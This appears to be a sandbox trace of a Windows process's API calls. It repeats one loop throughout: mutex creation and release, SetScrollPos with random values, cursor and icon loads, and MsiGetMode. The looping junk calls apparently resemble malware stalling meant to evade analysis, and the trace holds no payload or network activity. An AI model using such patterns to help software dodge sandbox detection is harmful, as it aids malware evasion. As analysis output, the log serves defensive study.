	[0094.727] ReleaseMutex (hMutex=0x360) returned 1
	[0094.727] CloseHandle (hObject=0x360) returned 1
	[0094.727] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-668780234, bRedraw=1) returned 0
	[0094.727] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.727] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.727] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.727] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.727] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.727] GetCurrentProcessId () returned 0xb50
	[0094.727] GetLastError () returned 0x578
	[0094.727] GetLastError () returned 0x578
	[0094.727] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.728] GetLastError () returned 0x0
	[0094.728] ReleaseMutex (hMutex=0x360) returned 1
	[0094.728] CloseHandle (hObject=0x360) returned 1
	[0094.728] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1240571620, bRedraw=1) returned 0
	[0094.728] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.728] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.728] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.728] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.728] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.728] GetCurrentProcessId () returned 0xb50
	[0094.728] GetLastError () returned 0x578
	[0094.728] GetLastError () returned 0x578
	[0094.728] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.728] GetLastError () returned 0x0
	[0094.728] ReleaseMutex (hMutex=0x360) returned 1
	[0094.728] CloseHandle (hObject=0x360) returned 1
	[0094.728] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1135413870, bRedraw=1) returned 0
	[0094.728] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.728] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.728] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.728] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.728] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.729] GetCurrentProcessId () returned 0xb50
	[0094.729] GetLastError () returned 0x578
	[0094.729] GetLastError () returned 0x578
	[0094.729] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.729] GetLastError () returned 0x0
	[0094.729] ReleaseMutex (hMutex=0x360) returned 1
	[0094.729] CloseHandle (hObject=0x360) returned 1
	[0094.729] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=793197888, bRedraw=1) returned 0
	[0094.729] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.729] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.729] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.729] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.729] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.729] GetCurrentProcessId () returned 0xb50
	[0094.729] GetLastError () returned 0x578
	[0094.729] GetLastError () returned 0x578
	[0094.729] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.729] GetLastError () returned 0x0
	[0094.729] ReleaseMutex (hMutex=0x360) returned 1
	[0094.729] CloseHandle (hObject=0x360) returned 1
	[0094.729] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1563527698, bRedraw=1) returned 0
	[0094.730] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.730] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.730] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.730] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.730] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.730] GetCurrentProcessId () returned 0xb50
	[0094.730] GetLastError () returned 0x578
	[0094.730] GetLastError () returned 0x578
	[0094.730] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.730] GetLastError () returned 0x0
	[0094.730] ReleaseMutex (hMutex=0x360) returned 1
	[0094.730] CloseHandle (hObject=0x360) returned 1
	[0094.730] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=384343964, bRedraw=1) returned 0
	[0094.759] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.759] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.759] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.759] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.759] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.759] GetCurrentProcessId () returned 0xb50
	[0094.759] GetLastError () returned 0x578
	[0094.759] GetLastError () returned 0x578
	[0094.760] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.760] GetLastError () returned 0x0
	[0094.760] ReleaseMutex (hMutex=0x360) returned 1
	[0094.760] CloseHandle (hObject=0x360) returned 1
	[0094.760] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1953121718, bRedraw=1) returned 0
	[0094.760] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.760] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.760] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.760] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.760] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.760] GetCurrentProcessId () returned 0xb50
	[0094.760] GetLastError () returned 0x578
	[0094.760] GetLastError () returned 0x578
	[0094.760] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.760] GetLastError () returned 0x0
	[0094.760] ReleaseMutex (hMutex=0x360) returned 1
	[0094.760] CloseHandle (hObject=0x360) returned 1
	[0094.760] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=14009848, bRedraw=1) returned 0
	[0094.760] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.760] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.761] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.761] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.761] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.761] GetCurrentProcessId () returned 0xb50
	[0094.761] GetLastError () returned 0x578
	[0094.761] GetLastError () returned 0x578
	[0094.761] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.761] GetLastError () returned 0x0
	[0094.761] ReleaseMutex (hMutex=0x360) returned 1
	[0094.761] CloseHandle (hObject=0x360) returned 1
	[0094.761] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1990771366, bRedraw=1) returned 0
	[0094.761] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.761] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.793] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.793] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.793] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.793] GetCurrentProcessId () returned 0xb50
	[0094.793] GetLastError () returned 0x578
	[0094.794] GetLastError () returned 0x578
	[0094.794] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.794] GetLastError () returned 0x0
	[0094.794] ReleaseMutex (hMutex=0x360) returned 1
	[0094.794] CloseHandle (hObject=0x360) returned 1
	[0094.794] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-317804460, bRedraw=1) returned 0
	[0094.794] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.794] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.794] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.794] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.794] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.794] GetCurrentProcessId () returned 0xb50
	[0094.794] GetLastError () returned 0x578
	[0094.794] GetLastError () returned 0x578
	[0094.794] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.794] GetLastError () returned 0x0
	[0094.794] ReleaseMutex (hMutex=0x360) returned 1
	[0094.794] CloseHandle (hObject=0x360) returned 1
	[0094.794] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1678216962, bRedraw=1) returned 0
	[0094.795] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.795] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.795] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.795] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.795] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.795] GetCurrentProcessId () returned 0xb50
	[0094.795] GetLastError () returned 0x578
	[0094.795] GetLastError () returned 0x578
	[0094.795] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.795] GetLastError () returned 0x0
	[0094.795] ReleaseMutex (hMutex=0x360) returned 1
	[0094.795] CloseHandle (hObject=0x360) returned 1
	[0094.795] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-611098960, bRedraw=1) returned 0
	[0094.795] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.795] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.795] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.795] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.795] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.795] GetCurrentProcessId () returned 0xb50
	[0094.795] GetLastError () returned 0x578
	[0094.795] GetLastError () returned 0x578
	[0094.796] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.796] GetLastError () returned 0x0
	[0094.796] ReleaseMutex (hMutex=0x360) returned 1
	[0094.796] CloseHandle (hObject=0x360) returned 1
	[0094.796] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1404182366, bRedraw=1) returned 0
	[0094.796] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.796] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.796] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.796] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.796] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.796] GetCurrentProcessId () returned 0xb50
	[0094.796] GetLastError () returned 0x578
	[0094.796] GetLastError () returned 0x578
	[0094.796] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.796] GetLastError () returned 0x0
	[0094.796] ReleaseMutex (hMutex=0x360) returned 1
	[0094.796] CloseHandle (hObject=0x360) returned 1
	[0094.796] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-865873652, bRedraw=1) returned 0
	[0094.797] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.797] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.797] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.797] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.797] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.797] GetCurrentProcessId () returned 0xb50
	[0094.797] GetLastError () returned 0x578
	[0094.797] GetLastError () returned 0x578
	[0094.797] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.797] GetLastError () returned 0x0
	[0094.797] ReleaseMutex (hMutex=0x360) returned 1
	[0094.797] CloseHandle (hObject=0x360) returned 1
	[0094.797] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1168667578, bRedraw=1) returned 0
	[0094.798] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.798] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.798] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.798] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.798] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.798] GetCurrentProcessId () returned 0xb50
	[0094.798] GetLastError () returned 0x578
	[0094.798] GetLastError () returned 0x578
	[0094.798] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.798] GetLastError () returned 0x0
	[0094.798] ReleaseMutex (hMutex=0x360) returned 1
	[0094.798] CloseHandle (hObject=0x360) returned 1
	[0094.798] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1082128536, bRedraw=1) returned 0
	[0094.798] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.798] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.798] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.798] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.798] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.798] GetCurrentProcessId () returned 0xb50
	[0094.798] GetLastError () returned 0x578
	[0094.798] GetLastError () returned 0x578
	[0094.799] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.799] GetLastError () returned 0x0
	[0094.799] ReleaseMutex (hMutex=0x360) returned 1
	[0094.799] CloseHandle (hObject=0x360) returned 1
	[0094.799] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=971672598, bRedraw=1) returned 0
	[0094.799] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.799] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.799] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.799] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.799] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.799] GetCurrentProcessId () returned 0xb50
	[0094.799] GetLastError () returned 0x578
	[0094.799] GetLastError () returned 0x578
	[0094.799] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.799] GetLastError () returned 0x0
	[0094.799] ReleaseMutex (hMutex=0x360) returned 1
	[0094.799] CloseHandle (hObject=0x360) returned 1
	[0094.799] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1259863612, bRedraw=1) returned 0
	[0094.799] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.799] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.799] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.800] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.800] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.800] GetCurrentProcessId () returned 0xb50
	[0094.800] GetLastError () returned 0x578
	[0094.800] GetLastError () returned 0x578
	[0094.800] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.800] GetLastError () returned 0x0
	[0094.800] ReleaseMutex (hMutex=0x360) returned 1
	[0094.800] CloseHandle (hObject=0x360) returned 1
	[0094.800] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=813197426, bRedraw=1) returned 0
	[0094.800] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.800] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.800] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.800] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.800] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.800] GetCurrentProcessId () returned 0xb50
	[0094.800] GetLastError () returned 0x578
	[0094.800] GetLastError () returned 0x578
	[0094.800] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.800] GetLastError () returned 0x0
	[0094.800] ReleaseMutex (hMutex=0x360) returned 1
	[0094.800] CloseHandle (hObject=0x360) returned 1
	[0094.800] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1399078880, bRedraw=1) returned 0
	[0094.801] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.801] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.801] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.801] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.801] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.801] GetCurrentProcessId () returned 0xb50
	[0094.801] GetLastError () returned 0x578
	[0094.801] GetLastError () returned 0x578
	[0094.801] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.801] GetLastError () returned 0x0
	[0094.801] ReleaseMutex (hMutex=0x360) returned 1
	[0094.801] CloseHandle (hObject=0x360) returned 1
	[0094.801] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=693242062, bRedraw=1) returned 0
	[0094.801] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.801] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.801] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.801] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.801] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.801] GetCurrentProcessId () returned 0xb50
	[0094.801] GetLastError () returned 0x578
	[0094.801] GetLastError () returned 0x578
	[0094.802] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.802] GetLastError () returned 0x0
	[0094.802] ReleaseMutex (hMutex=0x360) returned 1
	[0094.802] CloseHandle (hObject=0x360) returned 1
	[0094.802] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1499774340, bRedraw=1) returned 0
	[0094.802] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.802] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.802] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.802] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.802] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.802] GetCurrentProcessId () returned 0xb50
	[0094.802] GetLastError () returned 0x578
	[0094.802] GetLastError () returned 0x578
	[0094.802] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.802] GetLastError () returned 0x0
	[0094.802] ReleaseMutex (hMutex=0x360) returned 1
	[0094.802] CloseHandle (hObject=0x360) returned 1
	[0094.802] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=611806506, bRedraw=1) returned 0
	[0094.802] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.802] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.802] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.803] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.803] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.803] GetCurrentProcessId () returned 0xb50
	[0094.803] GetLastError () returned 0x578
	[0094.803] GetLastError () returned 0x578
	[0094.803] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.803] GetLastError () returned 0x0
	[0094.803] ReleaseMutex (hMutex=0x360) returned 1
	[0094.803] CloseHandle (hObject=0x360) returned 1
	[0094.803] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1561949992, bRedraw=1) returned 0
	[0094.803] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.803] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.803] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.803] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.803] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.803] GetCurrentProcessId () returned 0xb50
	[0094.803] GetLastError () returned 0x578
	[0094.803] GetLastError () returned 0x578
	[0094.803] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.803] GetLastError () returned 0x0
	[0094.803] ReleaseMutex (hMutex=0x360) returned 1
	[0094.803] CloseHandle (hObject=0x360) returned 1
	[0094.803] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=568890758, bRedraw=1) returned 0
	[0094.804] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.804] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.804] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.804] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.804] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.804] GetCurrentProcessId () returned 0xb50
	[0094.804] GetLastError () returned 0x578
	[0094.804] GetLastError () returned 0x578
	[0094.804] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.804] GetLastError () returned 0x0
	[0094.804] ReleaseMutex (hMutex=0x360) returned 1
	[0094.804] CloseHandle (hObject=0x360) returned 1
	[0094.804] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1585605836, bRedraw=1) returned 0
	[0094.804] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.804] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.804] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.804] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.804] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.804] GetCurrentProcessId () returned 0xb50
	[0094.804] GetLastError () returned 0x578
	[0094.804] GetLastError () returned 0x578
	[0094.805] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.805] GetLastError () returned 0x0
	[0094.805] ReleaseMutex (hMutex=0x360) returned 1
	[0094.805] CloseHandle (hObject=0x360) returned 1
	[0094.805] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=564494818, bRedraw=1) returned 0
	[0094.805] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.805] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.805] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.805] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.805] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.805] GetCurrentProcessId () returned 0xb50
	[0094.805] GetLastError () returned 0x578
	[0094.805] GetLastError () returned 0x578
	[0094.805] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.805] GetLastError () returned 0x0
	[0094.805] ReleaseMutex (hMutex=0x360) returned 1
	[0094.805] CloseHandle (hObject=0x360) returned 1
	[0094.805] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1570741872, bRedraw=1) returned 0
	[0094.805] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.805] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.805] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.806] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.806] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.806] GetCurrentProcessId () returned 0xb50
	[0094.806] GetLastError () returned 0x578
	[0094.806] GetLastError () returned 0x578
	[0094.806] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.806] GetLastError () returned 0x0
	[0094.806] ReleaseMutex (hMutex=0x360) returned 1
	[0094.806] CloseHandle (hObject=0x360) returned 1
	[0094.806] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=598618686, bRedraw=1) returned 0
	[0094.806] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.806] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.806] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.806] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.806] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.806] GetCurrentProcessId () returned 0xb50
	[0094.806] GetLastError () returned 0x578
	[0094.806] GetLastError () returned 0x578
	[0094.806] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.806] GetLastError () returned 0x0
	[0094.806] ReleaseMutex (hMutex=0x360) returned 1
	[0094.806] CloseHandle (hObject=0x360) returned 1
	[0094.806] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1517358100, bRedraw=1) returned 0
	[0094.807] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.807] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.807] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
